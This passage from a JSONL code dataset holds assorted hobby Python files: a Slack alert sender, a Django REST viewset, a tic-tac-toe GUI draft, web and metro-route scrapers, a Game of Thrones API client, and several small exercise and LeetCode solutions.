fh:\n long_description = fh.read()\n\nrequirements = [\n 'aiohttp<4.0',\n]\n\nsetup(\n name=\"simple-fbmessenger\",\n version=\"0.1.0\",\n author=\"Soenke Huster\",\n author_email=\"projects@eknoes.de\",\n description=\"An unofficial simple library to provide basic communication with Facebooks Messenger API\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/eknoes/simple-fbmessenger\",\n license=\"GPLv3\",\n packages=find_packages(),\n install_requires=requirements,\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n (\n 'License :: OSI Approved :: '\n 'GNU General Public License v3 (GPLv3)'\n ),\n 'Operating System :: OS Independent',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Communications :: Chat',\n 'Topic :: Internet',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n ],\n python_requires='>=3.6',\n project_urls={\n 'Bug Reports': 'https://github.com/eknoes/simple-fbmessenger/issues',\n 'Source': 'https://github.com/eknoes/simple-fbmessenger',\n },\n)","repo_name":"eknoes/simple-fbmessenger","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8177136745","text":"#09.01.2020 16:36:29\n#made by OneofSome blackfriar@gmx.com\n\n#This program uses the ATBASH cipher to cripto a message. Is a very simple #script wich I added numbers, so you can use numbers #in the message and at the same time make the message a bit darker\n\n#Atbash is a very common method of encryption (cryptography) of the Hebrew alphabet.\n#it belongs to the so-called Classic Cryptography and is a type of encryption by substitution.\n#One of its most famous uses is given in the book of Jeremiah (Bible)\n\n#!usr/bin python3.6.9\n\nPLANE_TXT = \"0123456789abcdefghijklmnopqrstuvwxyz \"\nCIPHER = \"ZYXWVUTSRQPONMLKJIHGFEDCBA9876543210 \"\n\ntxts = input ('Introduce your text: ')\ntxt2 = ' '\n\nfor txt in txts.lower():\n\tif txt in PLANE_TXT:\n\t\tind = PLANE_TXT.index (txt)\n\t\ttxt2 += CIPHER [ind]\nprint (txt2)\n","repo_name":"OneOfSome-Lab/brocoli","sub_path":"atbash.py","file_name":"atbash.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37091631882","text":"d={}\r\n\r\nn=int(input(\"How many times you want to repeat:\"))\r\nfor i in range(n):\r\n roll=int(input(\"Enter the roll no:\"))\r\n name=input(\"Enter the name:\")\r\n math=int(input(\"Mathematics marks: \"))\r\n physics=int(input(\"Physics mark:\"))\r\n chemistry=int(input(\"Chemistry marks:\"))\r\n l=[math,physics,chemistry]\r\n d[roll]=[name,l]\r\n\r\nt=list(d.values())\r\nprint(t)\r\noption=0\r\nwhile(option!=5):\r\n \r\n print(\"1.Math topper\")\r\n print(\"2.Physics topper\")\r\n print(\"3.Chemistry topper\")\r\n option=int(input(\"Enter no for subject topper:\"))\r\n \r\n if(option==1):\r\n max=0\r\n name=\"\"\r\n for i in range(len(t)):\r\n if(max Alert\"\n }\n }]\"\"\"\n updatedBlock = block.replace(\"{alert_subject}\", alert_subject).replace(\"{alert_priority}\",\n alert_priority).replace(\n \"{alert_module}\", alert_module).replace(\"{alert_detail}\", alert_detail).replace(\"{alert_channel}\",\n alert_channel)\n slack_block = json.dumps(json.loads(updatedBlock\n ))\n\n if \"slackToken\" in self.slack_config:\n try:\n slack_token = self.slack_config['slackToken']\n # slack_client\n slack_client = WebClient(\n token=slack_token) # Webclient created\n channel = self.slack_channel\n print(\"Sending Slack alert ....\")\n response = slack_client.chat_postMessage(\n channel=channel,\n text=\"This is an Production Alert\",\n blocks=slack_block\n )\n # (200 is OK, 404 is Not Found)\n print(\"TIMESTAMP : \", datetime.datetime.now())\n print('\\033[1m' + alert_subject, alert_priority, alert_module, alert_detail, alert_channel, sep=\" | \")\n\n response_dict = {\"status\": response.status_code,\n \"message\": \"Slack Alert Raised\"}\n response = json.dumps(response_dict)\n print(\"Response is: \" + response)\n # returning json obj\n return response\n\n except SlackApiError as e:\n # You will get a SlackApiError if \"ok\" is False\n # str like 'invalid_auth', 'channel_not_found'\n assert e.response[\"error\"]\n print(\"-------------------------------------------------\")\n traceback.print_exc()\n print(\"-------------------------------------------------\")\n print(e)\n\n\n elif \"webhookUrl\" in self.slack_config:\n # data = {\n # 'text': slack_block,\n # 'username': 'HAL',\n # 'icon_emoji': ':robot_face:'\n # }\n message = json.loads(slack_block)\n data = {\n 'Alert': 'This is production alert',\n \"text\": message[0]['text']['text']\n }\n webhook_url = self.slack_config['webhookUrl']\n response = requests.post(webhook_url\n , data=json.dumps(data)\n , headers={'Content-Type': 'application/json'}\n )\n\n else:\n print(\n \"Entered Wrong configuration of slack neither slack_token nor webhook !!!!\")\n sys.exit()\n print(\"slack Alert Triggered!\")\n","repo_name":"shoaibnadafgit/EmailAlertAutoDQ","sub_path":"alert/slack_alert.py","file_name":"slack_alert.py","file_ext":"py","file_size_in_byte":4116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34556274598","text":"#imports\nfrom django.http import HttpResponseServerError\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import serializers\nfrom rest_framework import status\nfrom kennywoodapi.models import Attraction\n\n\n#serializer class inherited from HyperlinkedSomething\nclass AttractionSerializer(serializers.HyperlinkedModelSerializer):\n '''Serialize the Attraction model'''\n\n class Meta:\n model = Attraction\n url = serializers.HyperlinkedIdentityField(\n view_name='attraction',\n lookup_field='id'\n )\n fields = ('id', 'url', 'name', 'area')\n depth = 2\n\n#itinerary class inherited from ViewSet\nclass Attractions(ViewSet):\n '''Attractions within the Kennywood Amusement Park'''\n\n def create(self, request):\n '''POST\n \n Returns:\n Response -- JSON serialized instance\n '''\n attraction = Attraction()\n attraction.name = request.data['name']\n attraction.area_id = request.data['area_id']\n attraction.save()\n\n serializer = AttractionSerializer(attraction, context={'request': request})\n return Response(serializer.data)\n\n def retrieve(self, request, pk=None):\n '''GET\n\n Returns:\n Response -- JSON serialized instance\n '''\n try:\n attraction = Attraction.objects.get(pk=pk)\n print(attraction)\n serializer = AttractionSerializer(attraction, context={'request': request})\n return Response(serializer.data)\n except Exception as ex:\n return HttpResponseServerError(ex)\n\n def update(self, request, pk=None):\n '''PUT request\n\n Returns:\n response -- Empty body with 204 status code\n '''\n attraction = Attraction.objects.get(pk=pk)\n attraction.name = request.data['name']\n attraction.area_id = request.data['area_id']\n attraction.save()\n\n return Response({}, status=status.HTTP_204_NO_CONTENT)\n\n def destroy(self, request, pk=None):\n '''DELETE request\n\n Returns:\n Response -- 200, 404, or 500 status code\n '''\n try:\n attraction = Attraction.objects.get(pk=pk)\n attraction.delete()\n\n return Response({}, status=status.HTTP_204_NO_CONTENT)\n except Attraction.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n \n except Exception as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n def list(self, request):\n \"\"\"Handle GET requests to park attractions resource\n\n Returns:\n Response -- JSON serialized list of park attractions\n \"\"\"\n\n attractions = Attraction.objects.all()\n\n area = self.request.query_params.get('area', None)\n if area is not None:\n attractions = attractions.filter(area__id=area)\n\n serializer = AttractionSerializer(attractions, many=True, context={'request': request})\n\n return Response(serializer.data)","repo_name":"rdbishop19/kennywood-api","sub_path":"kennywoodapi/views/attraction.py","file_name":"attraction.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5531978982","text":"import PySimpleGUI as sg\r\nfrom PIL import Image\r\nfrom random import randint\r\n\r\n\r\n# Creating player class\r\nclass Player:\r\n def __init__(self, games_won, symbol):\r\n self.games_won=games_won\r\n self.symbol=symbol\r\n\r\n\r\ncross_player=Player(0, \"cro.png\")\r\nnought_player=Player(0, \"no.png\")\r\n\r\n\r\n#def active_player():\r\n\r\n# Intially testing with active player symbol always X- can use this to test if player classes have worked\r\n\r\nactive_player_symbol = cross_player.symbol\r\nactive_player = cross_player\r\n\r\n\r\n\r\n\r\n\r\nclass Counter:\r\n def __init__(self, X_won, O_won, draws):\r\n self.X_won=cross_player.games_won\r\n self.O_won=nought_player.games_won\r\n\r\n\r\n# Creating score counter function\r\n#def score_counter():\r\n #if winner == cross_player:\r\n #cross_player.games_won+=1\r\n # elif winner == nought_player:\r\n #nought_player.games_won+=1\r\n #elif winner == draw:\r\n #draw_counter+=1\r\n\r\nsg.theme('DarkRed1') # Add a touch of color\r\nimage = \"cro.png\"\r\n\r\n# Function to open second window after 'How to Play', showing who plays first. In first MVP, this defaults to X. Need to create randint function to alternate this later\r\ndef open_window1():\r\n layout = [[sg.Image(image, size=(200, 125))],\r\n [sg.Text('X plays first', size=(20,2), justification='center')],\r\n [sg.Button('Next', key=\"play\")] ]\r\n window = sg.Window(\"Noughts & Crosses\", layout, modal=True, element_justification='c')\r\n choice=None\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED:\r\n break\r\n if event == \"play\":\r\n window.close()\r\n initialise_game_board()\r\n\r\n window.close()\r\n\r\n\r\n# Main environment for beginning 'How to Play' screen, leading to open_window function\r\ndef main():\r\n layout = [ [sg.Text('Noughts & Crosses', justification='center', font='bold')],\r\n [sg.Text('How to Play', size=(20, 1), justification='center')],\r\n [sg.Text('This is a TWO player game. Each player takes it in turn to place their X or O into one of the '\r\n 'empty squares in the grid by clicking on it. To win the game get three of your symbols in a '\r\n 'line horizontally, vertically or diagonally.', size=(40, 5))],\r\n [sg.Button('Play Game', key=\"play\")] ]\r\n window = sg.Window('Noughts & Crosses', layout, element_justification='c')\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED: # if user closes window\r\n break\r\n if event == \"play\":\r\n window.close()\r\n open_window1()\r\n\r\n\r\n window.close()\r\n\r\n\r\n# Creating states for starting, playing, ending, and restarting (can call back on first player screen?)\r\n\r\n\r\n#class State(starting):\r\n\r\nMAX_ROWS = MAX_COL = 3\r\n\r\n# Create gameplay here, with board and cells which will contain players' symbols once they play\r\ndef initialise_game_board():\r\n layout = [[sg.Button(' ', size=(8, 4), key=(i,j), pad=(0,0)) for j in range(MAX_COL)] for i in range(MAX_ROWS)]\r\n layout += [[sg.Text('', size=(20,1), justification='center'), sg.Text('Scores', size=(20,1), justification='center')],\r\n [sg.Image('cro.png'), sg.Image('small_cro.png'), sg.Image('small_no.png')],\r\n [sg.Text('X to Play', size=(20,1), justification='center'), sg.Text('0 0', size=(20,1), justification='center')],\r\n [sg.Text('', size=(20,1), justification='center'), sg.Text('Draws: 0', size=(20,1), justification='center')]]\r\n turn = True\r\n window = sg.Window(\"Noughts & Crosses\", layout, element_justification='c')\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED: # if user closes window\r\n break\r\n current_marker = window[event].get_text()\r\n window[event].update('X' if current_marker == ' ' and\r\n turn == True else 'O' if current_marker == ' ' and\r\n turn == False else 'X' if current_marker == 'X'\r\n else 'O' if current_marker == 'O' else ' ')\r\n if window[event].get_text() == 'X':\r\n turn = False\r\n elif window[event].get_text() == 'O':\r\n turn = True\r\n elif window['(1,1)'].update(turn=False):\r\n print(\"X wins!\")\r\n break\r\n\r\n\r\n window.close()\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n","repo_name":"hanneloreelsden/Smartbox-Work-Experience","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32984695970","text":"import argparse\nimport random\n\nfrom chainer_dense_fusion.datasets.ycb import YCBVideoDataset\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--random', action='store_true')\n parser.add_argument('--cad', action='store_true')\n args = parser.parse_args()\n\n dataset = YCBVideoDataset(split='val')\n ids = list(range(len(dataset)))\n if args.random:\n random.shuffle(ids)\n\n for i in ids:\n if args.cad:\n dataset.visualize_3d(i)\n else:\n dataset.visualize(i)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"knorth55/chainer-dense-fusion","sub_path":"examples/ycb/visualize_dataset.py","file_name":"visualize_dataset.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"78"} +{"seq_id":"24292496277","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/7/6 19:56\n# @Author : likewind\n# @mail : likewind1993@163.com\n# @File : spider.py\n# @Software: sky-studio.cn\n\nimport re\nfrom connection import Connection\nfrom data import Data\n\nclass Spider(object):\n def __init__(self, folder_path, url):\n self.folder_path = folder_path\n self.connection = Connection(url)\n self.data = Data(self.folder_path)\n self.urls = []\n self.visited_urls = []\n self.urls.append(url)\n self.count = 0\n\n def start(self):\n self._next_page(self.urls)\n\n def _next_page(self, html_list):\n if self.count > 300 :\n return\n\n for i in range(len(html_list)):\n cur_url = html_list[i]\n if cur_url not in self.visited_urls:\n print(\"Page {}: \".format(self.count) + cur_url)\n page = self.connection.open_url(cur_url)\n image_list, url_list = self.data.parsePage(page)\n self.data.download(image_list)\n self.visited_urls.append(cur_url)\n self.count += 1\n self._next_page(url_list)\n\ndef main():\n save_path = './images/'\n start_url = 'http://www.jpmsg.com/meinv/View_14429.html'\n spider = Spider(save_path, start_url)\n spider.start()\n\nif __name__ == '__main__':\n main()","repo_name":"likewind1993/spider","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"10625125448","text":"import math\nn = int(input())\n\nfor _ in range(n):\n s = input()\n t = input()\n\n lcm = (len(t)*len(s)) // math.gcd(len(t), len(s))\n \n s *= lcm//len(s)\n t *= lcm//len(t)\n if s == t:\n print(s)\n else:\n print(-1)\n\n","repo_name":"Noprop/codeforces","sub_path":"striver/maths/stringlcm.py","file_name":"stringlcm.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40256941499","text":"from flask import Flask, request, Response, jsonify\r\nimport json\r\n\r\nfrom model.portfolio_model import PortfolioLineItem\r\nfrom model.stock_model import Stock\r\nfrom model.dividend_model import Dividend\r\n\r\nfrom yahoo_fin import stock_info as si\r\n\r\nclass PortfolioService:\r\n \r\n def __init__(self):\r\n print(\"Portfolio Service Class Initialization\")\r\n\r\n def get_portfolio(userId):\r\n \"\"\"This method will get portfolio of a specific user\"\"\"\r\n print(\"\")\r\n print(\"userId: \", userId)\r\n \r\n match_userid = {\r\n \"$match\": {\"user_id\":userId, \"transaction_type\":\"Buy\"}\r\n }\r\n\r\n group_symbol = {\r\n \"$group\": \r\n {\"_id\":\"$symbol\",\r\n \"purchasedDate\":{\"$min\":\"$transaction_date\"},\r\n \"totalQuantity\":{\"$sum\":\"$quantity\"},\r\n \"avgPrice\":{\"$avg\":\"$price\"},\r\n \"totalBuyCost\":{\"$sum\":{\"$multiply\":[\"$price\",\"$quantity\"]}}} \r\n }\r\n\r\n sort_symbol_ascending = {\r\n \"$sort\":\r\n {\"_id\":1}\r\n }\r\n\r\n pipeline = [\r\n match_userid,\r\n group_symbol,\r\n sort_symbol_ascending,\r\n ]\r\n\r\n print(\"pipeline: \", pipeline)\r\n results = Stock.objects().aggregate(pipeline)\r\n retrievedStocks = list(results)\r\n portfolioLineItems = []\r\n \r\n for stock in retrievedStocks:\r\n print(\"\\n -----------------------\")\r\n print(\"stock: \", stock)\r\n\r\n match_div_userid = {\r\n \"$match\": {\"user_id\":userId}\r\n }\r\n\r\n group_div_symbol = {\r\n \"$group\": \r\n {\"_id\":\"$symbol\",\r\n \"totalDividend\":{\"$sum\":\"$total_dividend\"}} \r\n }\r\n\r\n sort_div_symbol_ascending = {\r\n \"$sort\":\r\n {\"_id\":1}\r\n }\r\n\r\n div_pipeline = [\r\n match_div_userid,\r\n group_div_symbol,\r\n sort_div_symbol_ascending,\r\n ]\r\n\r\n print(\"dividend pipeline: \", div_pipeline)\r\n div_results = Dividend.objects().aggregate(div_pipeline)\r\n retrievedDividends = list(div_results) \r\n for div in retrievedDividends:\r\n print(\"\\n -----------------------\")\r\n print(\"dividend: \", div)\r\n\r\n curPrice = si.get_live_price(stock['_id'])\r\n currentPrice = round(curPrice,2)\r\n\r\n if (stock['_id'] == div['_id']):\r\n portfolioLine = PortfolioLineItem(stock['_id'], stock['purchasedDate'], stock['totalQuantity'], stock['avgPrice'], stock['totalBuyCost'], div['totalDividend'], currentPrice)\r\n portfolioLineItems.append(portfolioLine)\r\n print(\"Added to PortfolioLineItems: \", portfolioLineItems)\r\n\r\n print(\"\\n\\n Final result sent back as PortfolioLineItems --> \", portfolioLineItems)\r\n \r\n return jsonify(portfolioLineItems)\r\n ","repo_name":"kalyanitech2021/kuberapython","sub_path":"backend/api/service/portfolio_service.py","file_name":"portfolio_service.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34171895187","text":"from django_filters.rest_framework import FilterSet, filters\n\nfrom recipes.models import Ingredient, Recipe, Tag\nfrom users.models import User\n\n\nclass IngredientsFilter(FilterSet):\n name = filters.CharFilter(lookup_expr='icontains')\n\n class Meta:\n model = Ingredient\n fields = ('name',)\n\n\nclass RecipesFilter(FilterSet):\n author = filters.ModelChoiceFilter(\n queryset=User.objects.all()\n )\n tags = filters.ModelMultipleChoiceFilter(\n queryset=Tag.objects.all(),\n field_name='tags__slug',\n to_field_name='slug'\n )\n is_favorited = filters.BooleanFilter(\n method='get_is_favorited'\n )\n is_in_shopping_cart = filters.BooleanFilter(\n method='get_is_in_shopping_cart',\n )\n\n class Meta:\n model = Recipe\n fields = ('author', 'tags', 'is_favorited', 'is_in_shopping_cart')\n\n def get_is_favorited(self, queryset, value):\n user = self.request.user\n if value and user.is_authenticated:\n return queryset.filter(recipe__user=user)\n return queryset\n\n def get_is_in_shopping_cart(self, queryset, value):\n user = self.request.user\n if value and user.is_authenticated:\n return queryset.filter(recipe_shopping_cart__user=user)\n return queryset\n","repo_name":"Rena-san/foodgram-project-react","sub_path":"backend/foodgram/api/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35676449845","text":"# We are given a list cpdomains of count-paired domains.\n# We would like a list of count-paired domains,\n# (in the same format as the input, and in any order),\n# that explicitly counts the number of visits to each subdomain.\n\nimport collections\n\nclass Solution:\n def subdomainVisits(self, cpdomains):\n \"\"\"\n :type cpdomains: List[str]\n :rtype: List[str]\n \"\"\"\n ## 01. Using dict\n # result = {}\n # for item in cpdomains:\n # value, domain = item.split()\n # subdomains = domain.split('.')\n # keys = ['.'.join(subdomains[i:]) for i in range(len(subdomains))]\n #\n # for k in keys:\n # result[k] = result.get(k, 0) + int(value)\n #\n # return ['%s %s' % (v, k) for k, v in result.items()]\n\n ## 02. Using hash table\n result = collections.Counter()\n for item in cpdomains:\n value, domain = item.split()\n value = int(value)\n subdomains = domain.split('.')\n\n for i in range(len(subdomains)):\n result['.'.join(subdomains[i:])] += value\n\n return ['%s %s' % (v, k) for k, v in result.items()]\n\nif __name__ == \"__main__\":\n cpdomains = [\"900 google.mail.com\", \"50 yahoo.com\", \"1 intel.mail.com\", \"5 wiki.org\"]\n\n print(Solution().subdomainVisits(cpdomains))\n","repo_name":"kopxiong/Leetcode","sub_path":"python3/811_subdomain_visit_count.py","file_name":"811_subdomain_visit_count.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72488033853","text":"#encoding=utf-8\nimport jieba\nimport chardet\n\ncount = 0 # 统计现在数到初始分词中的第几个词\nmy_sum = 0 # 统计目前一共有几个不同的词\nclass Word:\n def __init__(self, name):\n self.name = name\n self.front = []\n self.behind = []\n\nline = open('chatdata.txt',encoding=\"utf-8\").read()\n\nseg_list=list(jieba.cut(line))\n\nmy_word = []\nreflect=[]\nfor i in range(99999):\n reflect.append(0)\n\nfor name in seg_list:\n #\n if seg_list.index(name) == count: # 如果当前词语在语料库是第一次出现\n my_word.append(Word(name)) # 为这个词语创建一个对象\n reflect[seg_list.index(name)] = my_sum\n my_sum = my_sum+1\n if count != 0: # 如果这个词不是seg_list里的第一个词\n my_word[reflect[seg_list.index(name)]].front.append(seg_list[count-1]) # 把这个词的前一个词统计上\n if count != len(seg_list)-1: # 如果这个词不是seg_list里的最后一个词\n my_word[reflect[seg_list.index(name)]].behind.append(seg_list[count+1]) # 把这个词的后一个词统计上\n\n count = count+1 # 统计现在算到seg_list的第几个词了\n\n'''\nfor i in my_word:\n print(i.name)\n dict1 = {}\n for key in i.front:\n dict1[key] = dict1.get(key, 0) + 1\n dict1 = sorted(dict1.items(), key=lambda d:d[1], reverse = True)\n print('前:', dict1)\n dict2 = {}\n for key in i.behind:\n dict2[key] = dict2.get(key, 0) + 1\n dict2 = sorted(dict2.items(), key=lambda d:d[1], reverse = True)\n print('后:', dict2)\n'''\n\nwhile True:\n message = input(\"请输入词语:\")\n if message == 'q':\n break\n if message in seg_list:\n dict1 = {}\n for key in my_word[reflect[seg_list.index(message)]].front:\n dict1[key] = dict1.get(key, 0) + 1\n dict1 = sorted(dict1.items(), key=lambda d:d[1], reverse = True)\n print('前:', dict1)\n dict2 = {}\n for key in my_word[reflect[seg_list.index(message)]].behind:\n dict2[key] = dict2.get(key, 0) + 1\n dict2 = sorted(dict2.items(), key=lambda d:d[1], reverse = True)\n print('后:', dict2)\n else:\n print(\"词语未录入\")\n\n\n\n\n","repo_name":"Falcom4000/SRTP-2","sub_path":"input_method.py","file_name":"input_method.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73496633851","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport csv\nimport time\n\ndriver = webdriver.Chrome(\"C:\\\\data\\\\chromedriver\\\\chromedriver_74.0.3729.6.exe\")\n\nr = []\nr.append(\"Source\")\nr.append(\"Destination\")\nr.append(\"Duration\")\nr.append(\"Route\")\nr.append(\"Stations\")\nr.append(\"Interchanges\")\nr.append(\"Normal Fare\")\nr.append(\"Concessional Fare(Sunday and national holiday)\")\n\nwith open(\"HyderabadMetroRouteInfo.csv\", \"a\", newline='') as writeFile:\n f = csv.writer(writeFile)\n f.writerow([r[0]] + [r[1]] + [r[2]] + [r[3]] + [r[4]] + [r[5]] + [r[6]] + [r[7]])\n writeFile.close()\n\ndriver.get(\"https://www.metrotraintimings.com/Hyderabad/Hyderabad-Metro-Rail-Timings.htm\")\nv = driver.find_element_by_id(\"from_station\").find_elements_by_tag_name(\"option\")\nu = []\ncount = 0\n\nfor i in range(1, len(v)):\n u.append(v[i].text)\n\nprint(len(u))\n\nfor i in range(0, len(u)):\n for j in range(0, len(u)):\n if i == j:\n continue\n driver.get(\"https://www.metrotraintimings.com/Hyderabad/Hyderabad-Metro-Rail-Timings.htm\")\n driver.find_element_by_id(\"from_station\").send_keys(u[i])\n driver.find_element_by_id(\"to_station\").send_keys(u[j])\n driver.find_element_by_class_name(\"button\").click()\n time.sleep(2)\n\n count = count + 1\n\n v = driver.find_elements_by_tag_name(\"tbody\")\n z = v[1].find_elements_by_tag_name(\"tr\")\n\n freq = 0\n route = \"\"\n source = u[i]\n destination = u[j]\n fare = \"\"\n timeTaken = \"\"\n k = 0\n curr = \"\"\n stations = 0\n interchanges = 0\n duration = 0\n dur = \"\"\n\n str = z[0].text.split(\" \")\n freq = str[4]\n\n for k in range(2, len(z)):\n stations = stations + 1\n td = z[k].find_elements_by_tag_name(\"td\")\n col = td[1].find_element_by_tag_name(\"svg\")\n s = col.get_attribute(\"innerHTML\")\n ind1 = s.find(\"fill\") + 6\n ind2 = s.find(\">\") - 1\n color = s[ind1:ind2]\n if k == 2:\n curr = color\n route = route + \"@\" + curr + \":\" + td[2].text + \":\"\n else:\n if curr == color:\n route = route + td[2].text + \":\"\n else:\n interchanges = interchanges + 1\n curr = color\n route = route + \";@\" + curr + \":\" + td[2].text + \":\"\n\n if k == 2:\n firstTrain = td[3].text\n lastTrain = td[4].text\n if k == len(z) - 1:\n g = td[6].text.split(\" \")\n fare = g[2]\n timeTaken = td[7].text\n tt = timeTaken.split(\":\")\n hr = tt[0]\n hr = hr[2:len(hr)]\n min = tt[1].strip()\n duration = int(hr) * 60 + int(min)\n dur = duration.__str__()\n dur = dur + \" Min\"\n\n writeFile = open(\"HyderabadMetroRouteInfo.csv\", \"a\", newline='')\n f = csv.writer(writeFile)\n f.writerow([source] + [destination] + [dur] + [route] + [stations] + [interchanges] + [fare] + [fare])\n writeFile.close()\n\n print(count)\n\ndriver.quit()\n","repo_name":"ayushdubey003/Metro-Details-India","sub_path":"Hyderabad Metro/routeInfo.py","file_name":"routeInfo.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25613538862","text":"#!/usr/bin/python3\n\"\"\"Alta3 Research - Exploring OpenAPIs with requests\"\"\"\n# documentation for this API is at\n# https://anapioficeandfire.com/Documentation\n\nimport requests\nimport pprint\n\nAOIF_CHAR = \"https://www.anapioficeandfire.com/api/characters/\"\n\ndef get_house(house_url):\n ## Send HTTPS GET to the API of ICE and Fire house resource\n gotresp = requests.get(house_url)\n\n ## Decode the response\n got_dj = gotresp.json()\n\n ## print the response\n ## using pretty print so we can read it\n #pprint.pprint(got_dj)\n print(f\"House: {got_dj['name']}\")\n\n\ndef get_book(book_url):\n ## Send HTTPS GET to the API of ICE and Fire books resource\n gotresp = requests.get(book_url)\n\n ## Decode the response\n got_dj = gotresp.json()\n\n ## print the response\n ## using pretty print so we can read it\n #pprint.pprint(got_dj)\n print(f\"Book: {got_dj['name']}\")\n\ndef main():\n ## Ask user for input\n got_charToLookup = input(\"Pick a number between 1 and 1000 to return info on a GoT character! \" )\n\n ## Send HTTPS GET to the API of ICE and Fire character resource\n gotresp = requests.get(AOIF_CHAR + got_charToLookup)\n\n ## Decode the response\n got_dj = gotresp.json()\n #pprint.pprint(got_dj)\n\n ## get house url\n got_house_url = got_dj[\"allegiances\"]\n #print(got_house_url)\n\n get_house(got_house_url[0])\n\n ## get book url\n got_books_urls = got_dj[\"books\"]\n for book_url in got_books_urls:\n get_book(book_url)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"zengxibai/pyapi","sub_path":"iceAndFire05.py","file_name":"iceAndFire05.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3926013728","text":"# https://leetcode-cn.com/problems/shu-zu-zhong-zhong-fu-de-shu-zi-lcof/\r\n# 找出数组中重复的数字\r\n# 哈希表的方式,时间O(n),空间O(n)\r\nclass Solution_1:\r\n def findRepeatNumber(self, nums):\r\n test = {}\r\n for i in nums:\r\n if i in test:\r\n return i\r\n else:\r\n test[i] = 1\r\n\r\n# 先排序,再看相邻的元素之间是否相同,相同则返回,\r\n# 时间复杂度O(nlogn),空间O(1),因为需要排序加遍历,所以速度很慢\r\nclass Solution_2:\r\n def findRepeatNumber(self, nums):\r\n nums.sort()\r\n tmp = nums[0]\r\n for i in nums[1:]:\r\n if i == tmp:\r\n return i\r\n else:\r\n tmp = i\r\n\r\n\r\n# 鸽巢原理,将下标与元素的值一一对应,如果原本就对应好的,就不处理,如果原本i != nums[i],就进行鸽子回巢处理\r\n# 如果发现已经有了的话,就判定为重复,这种方法时间复杂度O(n),空间复杂度O(1)\r\nclass Solution_3:\r\n def findRepeatNumber(self, nums):\r\n length = len(nums)\r\n for i in range(length):\r\n while i != nums[i]:\r\n # 判断巢穴是不是被一样的鸽子占领了\r\n if nums[i] == nums[nums[i]]:\r\n return nums[i]\r\n else:\r\n tmp = nums[i]\r\n nums[i], nums[tmp] = nums[tmp], nums[i]\r\n\r\n\r\nif __name__ == '__main__':\r\n test = [8, 9, 7, 2, 2, 1]\r\n solution_1 = Solution_1()\r\n print(solution_1.findRepeatNumber(test))\r\n solution_2 = Solution_2()\r\n print(solution_2.findRepeatNumber(test))\r\n solution_3 = Solution_3()\r\n print(solution_3.findRepeatNumber(test))\r\n","repo_name":"zhangyongming13/jianzhi_offer","sub_path":"面试题03数组中重复的数字.py","file_name":"面试题03数组中重复的数字.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40250418022","text":"def check_p(n):\n rv = 0\n ab = n\n while(n!=0):\n tem = n%10\n rv = rv * 10 + tem \n n = n//10\n if(rv==ab):\n return True \n else:\n return False\ndef PalinArray(arr ,n):\n for i in arr:\n if(check_p(i)==False):\n return False\n return True\n\nif __name__=='__main__':\n t=int(input())\n for i in range(t):\n n = int(input())\n arr = list(map(int, input().strip().split()))\n if PalinArray(arr, n):\n print(1)\n else:\n 